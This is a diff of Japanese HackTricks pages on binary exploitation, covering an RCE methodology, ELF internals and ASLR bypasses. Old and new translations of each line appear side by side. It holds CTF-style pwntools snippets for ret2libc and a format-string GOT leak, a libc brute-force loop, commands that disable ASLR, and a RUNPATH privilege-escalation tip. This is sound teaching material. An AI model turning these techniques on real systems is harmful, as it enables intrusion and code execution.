- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数systemやprintfで使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がアドレスに影響を与える可能性があります。
- [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわかりません。
### 目標: RCE
#### シェルコードを介して、nxが無効な場合またはシェルコードとROPを混合する場合
- [**(スタック)シェルコード**](#stack-shellcode): これは、リターンポインタを上書きする前または後にスタックにシェルコードを格納し、次に**それにジャンプして**実行するのに役立ちます:
- **いかなる場合でも、** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**がある場合、通常のbofではそれを回避する必要があります(リーク)**
- **ASLR**がない場合、**および** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md)無効な場合、スタックのアドレスにジャンプすることが可能です。なぜなら、それは決して変わらないからです。
- [**(スタック)シェルコード**](#stack-shellcode): これは、リターンポインタを上書きする前または後にスタックにシェルコードを格納し、**それにジャンプして**実行するのに役立ちます:
- いかなる場合でも、**canary**がある場合、通常のbofではそれを回避(リーク)する必要があります。
- **ASLR**がない場合、**nx**がな場合、スタックのアドレスにジャンプすることが可能です。
- **ASLR**がある場合、[**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)のような技術を使用してそこにジャンプする必要があります。
- **nx**がある場合、いくつかの[**ROP**](../rop-return-oriented-programing/index.html)を使用して`memprotect`を呼び出し、ページを`rwx`にしてから、**そこにシェルコードを格納する**例えばreadを呼び出す必要があります。そして、そこにジャンプします。
- **nx**がある場合、いくつかの[**ROP**](../rop-return-oriented-programing/index.html)を使用して`memprotect`を呼び出し、ページを`rwx`にしてから、シェルコードをそこに格納例えばreadを呼び出すし、そこにジャンプする必要があります。
- これはシェルコードとROPチェーンを混合します。
#### システムコールを介して
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): 任意のコマンドを実行するために`execve`を呼び出すのに役立ちます。**特定のシステムコールをパラメータで呼び出すためのガジェットを見つける必要があります**。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)または[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)が有効な場合、バイナリやライブラリからROPガジェットを使用するためにそれらを打破する必要があります。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)が有効な場合、バイナリやライブラリからROPガジェットを使用するためにそれらを打破する必要があります。
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html)は**ret2execve**を準備するのに役立ちます。
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)および[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御します。
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御します。
#### libcを介して
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): **`libc`**のライブラリから関数(通常は**`system`**)を呼び出すのに役立ちます。準備された引数(例:`'/bin/sh'`)を使用します。呼び出したい関数を持つライブラリを**バイナリがロードする必要があります**通常はlibc
- **静的にコンパイルされていて、** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がない場合、`system`および`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
- **ASLR**がない場合、**およびロードされたlibcのバージョンを知っている場合、`system`および`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)があるが[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がない場合、libcを知っていて、バイナリが`system`**関数を使用している場合、**GOT内のsystemのアドレスに**`ret`し、`'/bin/sh'`のアドレスをパラメータにすることが可能です(これを見つける必要があります)。
- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html)があり、[PIE](../common-binary-protections-and-bypasses/pie/index.html)がないが、libcを知っていて**バイナリが`system`**を使用していない場合:
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): **`libc`**から関数(通常は**`system`**)を呼び出すのに役立ちます。準備された引数(例:`'/bin/sh'`)を使用します。呼び出したい関数を持つライブラリを**バイナリがロードする必要があります**通常はlibc
- **静的にコンパイルされていて、PIEがない場合**、`system``/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
- **ASLRがなく、ロードされたlibcのバージョンを知っている場合**`system``/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)があるが[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がない場合、libcを知っていて、バイナリが`system`関数を使用している場合、**GOT内のsystemのアドレスに`ret`し、`'/bin/sh'`のアドレスをパラメータにすることが可能です**(これを解決する必要があります)。
- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html)があり、[PIE](../common-binary-protections-and-bypasses/pie/index.html)がないが、バイナリが`system`を使用していない場合:
- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md)を使用して`system`のアドレスを解決し、呼び出します。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)を回避し、メモリ内の`system`および`'/bin/sh'`のアドレスを計算します。
- **ASLR**があり、[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)があり、libcを知らない場合次のことを行う必要があります:
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)を回避し、メモリ内の`system``'/bin/sh'`のアドレスを計算します。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)と[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)があり、libcを知らない場合以下を行う必要があります:
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)を回避します。
- 使用されている**`libc`バージョン**を見つけます(いくつかの関数アドレスをリークします)。
- 続行するために**ASLRを使用した以前のシナリオを確認します**
- 使用されている**`libc`バージョン**を見つけます(いくつかの関数アドレスをリークします)。
- **ASLR**の以前のシナリオを確認して続行します
#### EBP/RBPを介して
- [**スタックピボット/EBP2Ret/EBPチェイニング**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): スタック内の保存されたEBPを介してESPを制御してRETを制御します。
- [**スタックピボッティング / EBP2Ret / EBPチェイニング**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): スタック内の保存されたEBPを介してESPを制御してRETを制御します。
- **オフバイワン**スタックオーバーフローに役立ちます。
- ペイロードをメモリに構築し、次にEBPを介してそれにジャンプする際にEIPを制御するための代替手段として役立ちます。
- EIPを制御するための代替手段として、EIPを悪用してメモリ内にペイロードを構築し、EBPを介してそれにジャンプするのに役立ちます。
#### その他
- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味深い関数systemまたはprintfで使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)または[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がアドレスに影響を与える可能性があります。
- [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわかりません。
- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数systemやprintfで使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がアドレスに影響を与える可能性があります。
- [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわかりません。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -52,9 +52,9 @@ Segment Sections...
### LOAD
これらのヘッダーは**バイナリをメモリにロードする方法**を示すために使用されます。\
各**LOAD**ヘッダーは**メモリ**の領域サイズ、権限、アライメントを示し、ELF **バイナリのバイトをそこにコピーする**ことを示します。
各**LOAD**ヘッダーは**メモリ**の領域サイズ、権限、アライメントを示し、ELF**バイナリのバイトをそこにコピーする**ことを示します。
例えば、2番目のものはサイズが0x1190で、0x1fc48に位置し、読み取りと書き込みの権限を持ち、オフセット0xfc48から0x528で満たされます(予約されたスペース全体は満たされません)。このメモリにはセクション`.init_array .fini_array .dynamic .got .data .bss`が含まれます。
例えば、2番目のものはサイズが0x1190で、0x1fc48に位置し、読み取りと書き込みの権限を持ち、オフセット0xfc48から0x528で埋められます(予約されたスペース全体は埋めません)。このメモリにはセクション`.init_array .fini_array .dynamic .got .data .bss`が含まれます。
### DYNAMIC
@ -64,7 +64,7 @@ Segment Sections...
これはバイナリに関するベンダーメタデータ情報を保存します。
- x86-64では、`readelf -n``.note.gnu.property`内の`GNU_PROPERTY_X86_FEATURE_1_*`フラグを表示します。`IBT`および/または`SHSTK`が表示される場合、バイナリはCET間接分岐追跡および/またはシャドウスタックでビルドされています。これはROP/JOPに影響を与え、間接分岐ターゲットは`ENDBR64`命令で始まり、リターンはシャドウスタックに対してチェックされます。詳細とバイパスートについてはCETページを参照してください。
- x86-64では、`readelf -n``.note.gnu.property`内の`GNU_PROPERTY_X86_FEATURE_1_*`フラグを表示します。`IBT`および/または`SHSTK`が表示される場合、バイナリはCET間接分岐追跡および/またはシャドウスタックでビルドされています。これはROP/JOPに影響を与え、間接分岐ターゲットは`ENDBR64`命令で始まり、リターンはシャドウスタックに対してチェックされます。詳細とバイパスートについてはCETページを参照してください。
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
@ -76,19 +76,19 @@ Segment Sections...
### GNU_STACK
スタック実行防止防御の設定を含みます。これが有効な場合、バイナリはスタックからコードを実行できません。
スタック実行防止防御の構成を含みます。これが有効な場合、バイナリはスタックからコードを実行できません。
- `readelf -l ./bin | grep GNU_STACK`で確認してください。テスト中に強制的に切り替えるには、`execstack -s|-c ./bin`を使用できます。
### GNU_RELRO
バイナリのRELRO再配置読み取り専用設定を示します。この保護は、プログラムがロードされた後、実行を開始する前に、メモリの特定のセクション(`GOT``init`および`fini`テーブルなど)を読み取り専用としてマークします。
バイナリのRELRO再配置読み取り専用構成を示します。この保護は、プログラムがロードされた後、実行を開始する前に、メモリの特定のセクション(`GOT``init`および`fini`テーブルなど)を読み取り専用としてマークします。
前の例では、0x3b8バイトを0x1fc48に読み取り専用としてコピーし、セクション`.init_array .fini_array .dynamic .got .data .bss`に影響を与えています。
前の例では、0x1fc48に0x3b8バイトを読み取り専用としてコピーし、セクション`.init_array .fini_array .dynamic .got .data .bss`に影響を与えています。
RELROは部分的または完全であることに注意してください。部分的バージョンは、**遅延バインディング**に使用され、ライブラリの最初の位置が検索されるときにアドレスを書き込むために**書き込み権限**を持つ必要があるセクション**`.plt.got`**を保護しません
RELROは部分的または完全である可能性があり、部分的なバージョンは**`.plt.got`**セクションを保護せず、これは**レイジーバインディング**に使用され、ライブラリのアドレスを最初に検索する際にこのメモリ空間に**書き込み権限**が必要です
> エクスプロイト技術と最新のバイパスノートについては、専用ページを確認してください:
> 攻撃技術や最新のバイパスノートについては、専用ページを確認してください:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
@ -165,8 +165,8 @@ CONTENTS, READONLY
### メタセクション
- **文字列テーブル**: ELFファイルに必要なすべての文字列を含んでいますただし、プログラムで実際に使用されるものは含まれていません。例えば、`.text``.data`のようなセクション名が含まれています。そして、もし`.text`が文字列テーブルのオフセット45にある場合、**name**フィールドには**45**という番号が使用されます。
- 文字列テーブルの場所を見つけるために、ELFは文字列テーブルへのポインタを含んでいます。
- **文字列テーブル**: ELFファイルに必要なすべての文字列を含んでいますただし、プログラムで実際に使用されるものは含まれていません。例えば、`.text``.data`のようなセクション名が含まれています。そして、もし`.text`が文字列テーブルのオフセット45にある場合、**name**フィールドには番号**45**が使用されます。
- 文字列テーブルの位置を見つけるために、ELFは文字列テーブルへのポインタを含んでいます。
- **シンボルテーブル**: 名前(文字列テーブルのオフセット)、アドレス、サイズ、シンボルに関するその他のメタデータなど、シンボルに関する情報を含んでいます。
### メインセクション
@ -176,7 +176,7 @@ CONTENTS, READONLY
- **`.bss`**: 初期化されていないグローバル変数(またはゼロに初期化)。ここにある変数は自動的にゼロに初期化されるため、バイナリに無駄なゼロが追加されるのを防ぎます。
- **`.rodata`**: 定数グローバル変数(読み取り専用セクション)。
- **`.tdata`**および**`.tbss`**: スレッドローカル変数が使用されるときの.dataおよび.bssのようなものC++の`__thread_local`またはCの`__thread`)。
- **`.dynamic`**: 下を参照。
- **`.dynamic`**: 下を参照してください
## シンボル
@ -204,7 +204,7 @@ Num: Value Size Type Bind Vis Ndx Name
各シンボルエントリには以下が含まれます:
- **名前**
- **バインディング属性**weak, local または globalローカルシンボルはプログラム自身によってのみアクセス可能ですが、グローバルシンボルはプログラムの外部で共有されます。weakオブジェクトは、例えば異なるもので上書き可能な関数です。
- **バインディング属性**weak, local または globalローカルシンボルはプログラム自身によってのみアクセス可能ですが、グローバルシンボルはプログラムの外部で共有されます。weakオブジェクトは、例えば異なる関数によってオーバーライド可能な関数です。
- **タイプ**NOTYPEタイプ指定なし、OBJECTグローバルデータ変数、FUNC関数、SECTIONセクション、FILEデバッガ用のソースコードファイル、TLSスレッドローカル変数、GNU_IFUNC再配置用の間接関数
- **セクション** インデックス(位置)
- **値**(メモリ内のアドレス)
@ -249,28 +249,28 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
The NEEDEDディレクトリは、プログラムが**言及されたライブラリをロードする必要がある**ことを示しています。NEEDEDディレクトリは、共有**ライブラリが完全に動作可能で使用準備が整った**ときに完了します。
The NEEDED directory indicates that the program **必要なライブラリを読み込む必要がある** in order to continue. The NEEDED directory completes once the shared **ライブラリが完全に動作し、使用可能になる** for use.
### ダイナミックローダーの検索順序 (RPATH/RUNPATH, $ORIGIN)
### Dynamic loader search order (RPATH/RUNPATH, $ORIGIN)
エントリ`DT_RPATH`(非推奨)および/または`DT_RUNPATH`は、ダイナミックローダーが依存関係を検索する場所に影響を与えます。おおよその順序は次のとおりです:
The entries `DT_RPATH` (deprecated) and/or `DT_RUNPATH` influence where the dynamic loader searches for dependencies. Rough order:
- `LD_LIBRARY_PATH`setuid/sgidまたはその他の「セキュア実行」プログラムでは無視される
- `DT_RPATH``DT_RUNPATH`が存在しない場合のみ)
- `LD_LIBRARY_PATH` (setuid/sgidまたはその他の「セキュア実行」プログラムでは無視される)
- `DT_RPATH` (only if `DT_RUNPATH` absent)
- `DT_RUNPATH`
- `ld.so.cache`
- `/lib64``/usr/lib64`などのデフォルトディレクトリ
- default directories like `/lib64`, `/usr/lib64`, etc.
`$ORIGIN`は、RPATH/RUNPATH内でメインオブジェクトのディレクトリを参照するために使用できます。攻撃者の視点から、これはファイルシステムのレイアウトや環境を制御する場合に重要です。ハードニングされたバイナリAT_SECUREでは、ほとんどの環境変数はローダーによって無視されます。
`$ORIGIN` can be used inside RPATH/RUNPATH to refer to the directory of the main object. From an attacker perspective this matters when you control the filesystem layout or environment. For hardened binaries (AT_SECURE) most environment variables are ignored by the loader.
- 検査コマンド:`readelf -d ./bin | egrep -i 'r(path|unpath)'`
- クイックテスト:`LD_DEBUG=libs ./bin 2>&1 | grep -i find`(検索パスの決定を表示)
- Inspect with: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
- Quick test: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (shows search path decisions)
> Priv-escのヒントあなたが所有する書き込み可能なRUNPATHや誤設定された`$ORIGIN`相対パスを悪用することを好むべきです。LD_PRELOAD/LD_AUDITはセキュア実行setuidコンテキストでは無視されます。
> Priv-esc tip: Prefer abusing writable RUNPATHs or misconfigured `$ORIGIN`-relative paths owned by you. LD_PRELOAD/LD_AUDIT are ignored in secure-execution (setuid) contexts.
## 再配置
## Relocations
ローダーは、依存関係をロードした後にそれらを再配置する必要があります。これらの再配置は、RELまたはRELA形式の再配置テーブルに示され、再配置の数は動的セクションのRELSZまたはRELASZに示されます。
The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
```
readelf -r lnstat
@ -350,7 +350,7 @@ Offset Info Type Sym. Value Sym. Name + Addend
### 動的再配置とGOT
再配置は外部シンボル依存関係からの関数などを参照することもあります。例えば、libCからのmalloc関数です。この場合、ローダーはlibCをアドレスにロードする際に、malloc関数がロードされている場所を確認し、そのアドレスをGOTグローバルオフセットテーブルに書き込みます再配置テーブルで示されるmallocのアドレスが指定されるべき場所です。
再配置は外部シンボル依存関係からの関数などを参照することもあります。例えば、libCからのmalloc関数です。ローダーがlibCをアドレスにロードする際、malloc関数がロードされている場所を確認し、そのアドレスをGOTグローバルオフセットテーブルに書き込みます再配置テーブルで示されるmallocのアドレスが指定されるべき場所です。
### プロシージャリンクテーブル
@ -360,15 +360,15 @@ PLTセクションは遅延バインディングを実行することを可能
#### 攻撃に影響を与える現代のリンク動作
- `-z now`フルRELROは遅延バインディングを無効にします。PLTエントリは存在しますが、GOT/PLTは読み取り専用にマッピングされるため、**GOT上書き**や**ret2dlresolve**のような技術はメインバイナリに対しては機能しませんライブラリは部分的にRELROである可能性があります。参照してください
- `-z now`フルRELROは遅延バインディングを無効にします。PLTエントリは存在しますが、GOT/PLTは読み取り専用にマッピングされるため、**GOT上書き**や**ret2dlresolve**のような技術はメインバイナリに対しては機能しませんライブラリは部分的にRELROのままである可能性があります)。参照してください:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
- `-fno-plt`はコンパイラが**GOTエントリを直接**介して外部関数を呼び出すようにします。これにより、`call func@plt`の代わりに`mov reg, [got]; call reg`のような呼び出しシーケンスが見られます。これにより、投機的実行の悪用が減少し、PLTスタブ周辺のROPガジェットハンティングがわずかに変わります。
- -fno-pltはコンパイラが**GOTエントリを直接**介して外部関数を呼び出すようにします。これにより、call func@pltの代わりにmov reg, [got]; call regのような呼び出しシーケンスが見られます。これにより、投機的実行の悪用が減少し、PLTスタブ周辺のROPガジェットハンティングがわずかに変更されます。
- PIEと静的PIEPIE`INTERP`を持つET_DYNは動的ローダーを必要とし、通常のPLT/GOT機構をサポートします。静的PIE`INTERP`を持たないET_DYNはカーネルローダーによって再配置が適用され、`ld.so`はありません。ランタイムでのPLT解決は期待できません。
- PIEと静的PIEPIEET_DYNとINTERPを持つは動的ローダーを必要とし、通常のPLT/GOT機構をサポートします。静的PIEET_DYNでINTERPなしはカーネルローダーによって適用される再配置を持ち、ld.soはありません。ランタイムでのPLT解決は期待できません。
> GOT/PLTが選択肢でない場合は、他の書き込み可能なコードポインタにピボットするか、libcへの古典的なROP/SROPを使用してください。
@ -378,7 +378,7 @@ PLTセクションは遅延バインディングを実行することを可能
## プログラム初期化
プログラムがロードされた後、実行する時間です。しかし、最初に実行されるコードは**必ずしも`main`**関数ではありません。これは、例えばC++では**グローバル変数がクラスのオブジェクト**である場合、このオブジェクトはmainが実行される前に**初期化**されなければならないためです。
プログラムがロードされた後、実行する時間です。しかし、実行される最初のコードは**必ずしも`main`**関数ではありません。これは、例えばC++では**グローバル変数がクラスのオブジェクト**である場合、このオブジェクトはmainが実行される前に**初期化**されなければならないためです。
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
@ -414,7 +414,7 @@ __attributte__((destructor)) //Add to the destructor list
#### 攻撃メモ
- Partial RELRO の下では、これらの配列は `ld.so``PT_GNU_RELRO` を読み取り専用に切り替える前にまだ書き込み可能なページに存在します。十分早く任意の書き込みを取得するか、ライブラリの書き込み可能な配列をターゲットにすることができれば、選択した関数でエントリを上書きすること制御フローをハイジャックできます。Full RELRO の下では、実行時に読み取り専用です。
- Partial RELRO の下では、これらの配列は `ld.so``PT_GNU_RELRO` を読み取り専用に切り替える前にまだ書き込み可能なページに存在します。十分早く任意の書き込みを取得するか、ライブラリの書き込み可能な配列をターゲットにすることができれば、選択した関数でエントリを上書きすることによって制御フローをハイジャックできます。Full RELRO の下では、実行時に読み取り専用です。
- 動的リンカーの遅延バインディングを悪用して、実行時に任意のシンボルを解決する方法については、専用ページを参照してください:
@ -439,13 +439,13 @@ __attributte__((destructor)) //Add to the destructor list
これが使用されると、ELF では **`.tdata`** および **`.tbss`** セクションが使用されます。これは TLS 用の `.data`(初期化済み)および `.bss`(未初期化)に似ています。
各変数は TLS ヘッダーにエントリを持ち、サイズと TLS オフセットを指定します。これはスレッドのローカルデータ領域で使用されるオフセットです。
各変数は、サイズと TLS オフセットを指定する TLS ヘッダーにエントリを持ち、これはスレッドのローカルデータ領域で使用されるオフセットです。
`__TLS_MODULE_BASE` はスレッドローカルストレージのベースアドレスを参照するために使用されるシンボルで、モジュールのすべてのスレッドローカルデータを含むメモリ内の領域を指します。
## 補助ベクタ (auxv) と vDSO
## 補助ベクタ (auxv) と vDSO
Linux カーネルは、実行時に役立つアドレスやフラグを含む補助ベクタをプロセスに渡します:
Linux カーネルは、ランタイムに役立つアドレスやフラグを含む補助ベクタをプロセスに渡します:
- `AT_RANDOM`: glibc がスタックカナリアや他の PRNG シードに使用する 16 バイトのランダムデータを指します。
- `AT_SYSINFO_EHDR`: vDSO マッピングのベースアドレス(`__kernel_*` システムコールやガジェットを見つけるのに便利)。
@ -464,7 +464,7 @@ printf("AT_RANDOM=%p\n", (void*)getauxval(AT_RANDOM));
printf("AT_SYSINFO_EHDR=%p\n", (void*)getauxval(AT_SYSINFO_EHDR));
}
```
`AT_RANDOM`を漏洩させることで、そのポインタを参照できればカナリア値を取得できます`AT_SYSINFO_EHDR`は、ガジェットを探すためのvDSOベースを提供したり、直接高速システムコールを呼び出すために使用できます。
`AT_RANDOM`を漏洩させることで、そのポインタを参照できればカナリア値を取得できます`AT_SYSINFO_EHDR`は、ガジェットを探すためのvDSOベースを提供したり、直接高速システムコールを呼び出すために使用できます。
## References

View File

@ -20,34 +20,34 @@ cat /proc/sys/kernel/randomize_va_space
```
### **ASLRの無効化**
ASLRを**無効化**するには、`/proc/sys/kernel/randomize_va_space`の値を**0**に設定します。ASLRを無効化することは、一般的にテストやデバッグのシナリオ以外では推奨されません。以下は、無効化する方法です:
ASLRを**無効化**するには、`/proc/sys/kernel/randomize_va_space`の値を**0**に設定します。ASLRを無効化することは、テストやデバッグのシナリオ以外では一般的に推奨されません。無効化する方法は次のとおりです:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
実行のためにASLRを無効にすることもできます:
実行にASLRを無効にすることもできます:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **ASLRの有効化**
ASLRを**有効化**するには、`/proc/sys/kernel/randomize_va_space`ファイルに**2**の値を書き込むことができます。これには通常、root権限が必要です。完全なランダム化は、次のコマンドで行うことができます
ASLRを**有効化**するには、`/proc/sys/kernel/randomize_va_space`ファイルに**2**の値を書き込むことができます。これには通常、root権限が必要です。完全なランダム化は、次のコマンドで行うことができます:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **再起動を跨いだ持続性**
### **再起動を通じた永続性**
`echo` コマンドで行った変更は一時的であり、再起動時にリセットされます。変更を持続させるには、`/etc/sysctl.conf` ファイルを編集し、以下の行を追加または修正する必要があります:
`echo` コマンドで行った変更は一時的であり、再起動時にリセットされます。変更を永続的にするには、`/etc/sysctl.conf` ファイルを編集し、次の行を追加または修正する必要があります:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
`/etc/sysctl.conf`を編集した後、次のコマンドで変更を適用します:
`/etc/sysctl.conf`を編集した後、変更を適用するには次のコマンドを使用します:
```bash
sudo sysctl -p
```
これにより、再起動後もASLR設定が維持されます。
これは、再起動を通じてASLR設定が維持されることを保証します。
## **バイパス**
@ -59,13 +59,13 @@ PaXはプロセスアドレス空間を**3つのグループ**に分けます:
- `mmap()`によって割り当てられた**メモリ**および**共有ライブラリ** —> **16ビット**`delta_mmap`と呼ばれます。
- **スタック** —> **24ビット**`delta_stack`と呼ばれます。ただし、実際には**11ビット**10バイト目から20バイト目までを含むを使用し、**16バイト**に整列されています —> これにより、**524,288の実際のスタックアドレス**が可能になります。
前述のデータは32ビットシステム用であり、最終的なエントロピーが減少することで、エクスプロイトが成功するまで実行を何度も再試行することでASLRをバイパスすることが可能になります。
前述のデータは32ビットシステム用であり、最終的なエントロピーの低下により、エクスプロイトが成功するまで実行を何度も再試行することでASLRをバイパスすることが可能になります。
#### ブルートフォースのアイデア:
- シェルコードの前に**大きなNOPスレッド**をホストするのに十分なオーバーフローがある場合、スタック内のアドレスをブルートフォースして、フローが**NOPスレッドの一部を飛び越える**まで試すことができます。
- オーバーフローがそれほど大きくなく、エクスプロイトをローカルで実行できる場合は、**環境変数にNOPスレッドとシェルコードを追加する**ことが可能です。
- エクスプロイトがローカルである場合、libcのベースアドレスをブルートフォースすることを試みることができます32ビットシステムに便利です
- エクスプロイトがローカルである場合、libcのベースアドレスをブルートフォースすることを試みることができます32ビットシステムに便利
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
@ -76,7 +76,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
### 64ビットスタックのブルートフォース
環境変数でスタックの大部分を占有し、その後、バイナリをローカルで何百回、何千回も悪用しようとすることが可能です。\
環境変数でスタックの大部分を占有し、その後、バイナリをローカルで何百回、何千回も悪用することが可能です。\
以下のコードは、**スタック内のアドレスを選択するだけで**、**数百回の実行ごとに**そのアドレスが**NOP命令**を含むことができる方法を示しています。
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
@ -151,10 +151,10 @@ pass
- **startstack**: **スタック**の開始アドレス
- **start_data** & **end_data**: **BSS**の上と下のアドレス
- **kstkesp** & **kstkeip**: 現在の**ESP**と**EIP**アドレス
- **arg_start** & **arg_end**: **cli arguments**の上と下のアドレス
- **env_start** &**env_end**: **env variables**の上と下のアドレス
- **arg_start** & **arg_end**: **CLI引数**の上と下のアドレス
- **env_start** &**env_end**: **環境変数**の上と下のアドレス
したがって、攻撃者がエクスプロイトされているバイナリと同じコンピュータにいる場合、このバイナリが生の引数からのオーバーフローを期待していないが、このファイルを読み取った後に作成できる別の**入力からのオーバーフローを期待している場合**、攻撃者はこのファイルから**いくつかのアドレスを取得し、それらからオフセットを構築してエクスプロイトを行う**ことが可能です
したがって、攻撃者がエクスプロイトされているバイナリと同じコンピュータにいる場合、このバイナリが生の引数からのオーバーフローを期待していないが、このファイルを読み取った後に作成できる別の**入力からのオーバーフローを期待している場合**、攻撃者はこのファイルから**いくつかのアドレスを取得し、それらからオフセットを構築することが可能です**
> [!TIP]
> このファイルに関する詳細は、[https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html)で`/proc/pid/stat`を検索してください。
@ -163,7 +163,7 @@ pass
- **課題はリークを提供することです**
リークが与えられた場合簡単なCTFチャレンジ、それからオフセットを計算することができます例えば、エクスプロイトしているシステムで使用されている正確なlibcバージョンを知っていると仮定します)。この例のエクスプロイトは、[**ここからの例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)から抜粋されています(詳細はそのページを確認してください):
リークが与えられた場合簡単なCTFチャレンジ、それからオフセットを計算することができます例えば、エクスプロイトしているシステムで使用されている正確なlibcバージョンを知っていると仮定した場合)。この例のエクスプロイトは、[**ここからの例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)から抜粋されています(詳細はそのページを確認してください):
```python
from pwn import *
@ -190,7 +190,8 @@ p.interactive()
```
- **ret2plt**
バッファオーバーフローを悪用することで、**ret2plt**を利用してlibcの関数のアドレスを抽出することが可能です。確認してください:
バッファオーバーフローを悪用することで、**ret2plt**を利用してlibcから関数のアドレスを抽出することが可能です。確認してください:
{{#ref}}
ret2plt.md
@ -198,7 +199,7 @@ ret2plt.md
- **Format Strings Arbitrary Read**
ret2pltと同様に、フォーマット文字列の脆弱性を介して任意の読み取りが可能であれば、GOTから**libc関数**のアドレスを抽出することができます。以下の[**例はここから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
ret2pltと同様に、フォーマット文字列の脆弱性を介して任意の読み取りが可能であれば、GOTから**libc関数**のアドレスを抽出することができます。の[**例はここから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -209,7 +210,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
フォーマット文字列の任意の読み取りに関する詳細情報は次の場所で見つけることができます:
あなたはフォーマット文字列の任意の読み取りに関する詳細情報を以下で見つけることができます:
{{#ref}}
../../format-strings/
@ -217,7 +218,7 @@ payload += p32(elf.symbols['main'])
### Ret2ret & Ret2pop
スタック内のアドレスを悪用してASLRをバイパスしようとします
スタック内のアドレスを悪用してASLRをバイパスしようとしてください
{{#ref}}
ret2ret.md
@ -225,12 +226,12 @@ ret2ret.md
### vsyscall
**`vsyscall`** メカニズムは、特定のシステムコールをユーザースペースで実行できるようにすることでパフォーマンスを向上させますが、これらは基本的にカーネルの一部です。**vsyscall** の重要な利点は、**ASLR**(アドレス空間配置のランダム化)の影響を受けない**固定アドレス**にあります。この固定性により、攻撃者はアドレスを特定し、エクスプロイトで使用するために情報漏洩の脆弱性を必要としません。\
ただし、ここでは特に興味深いガジェットは見つかりません(例えば、`ret;` の同等物を取得することは可能です)。
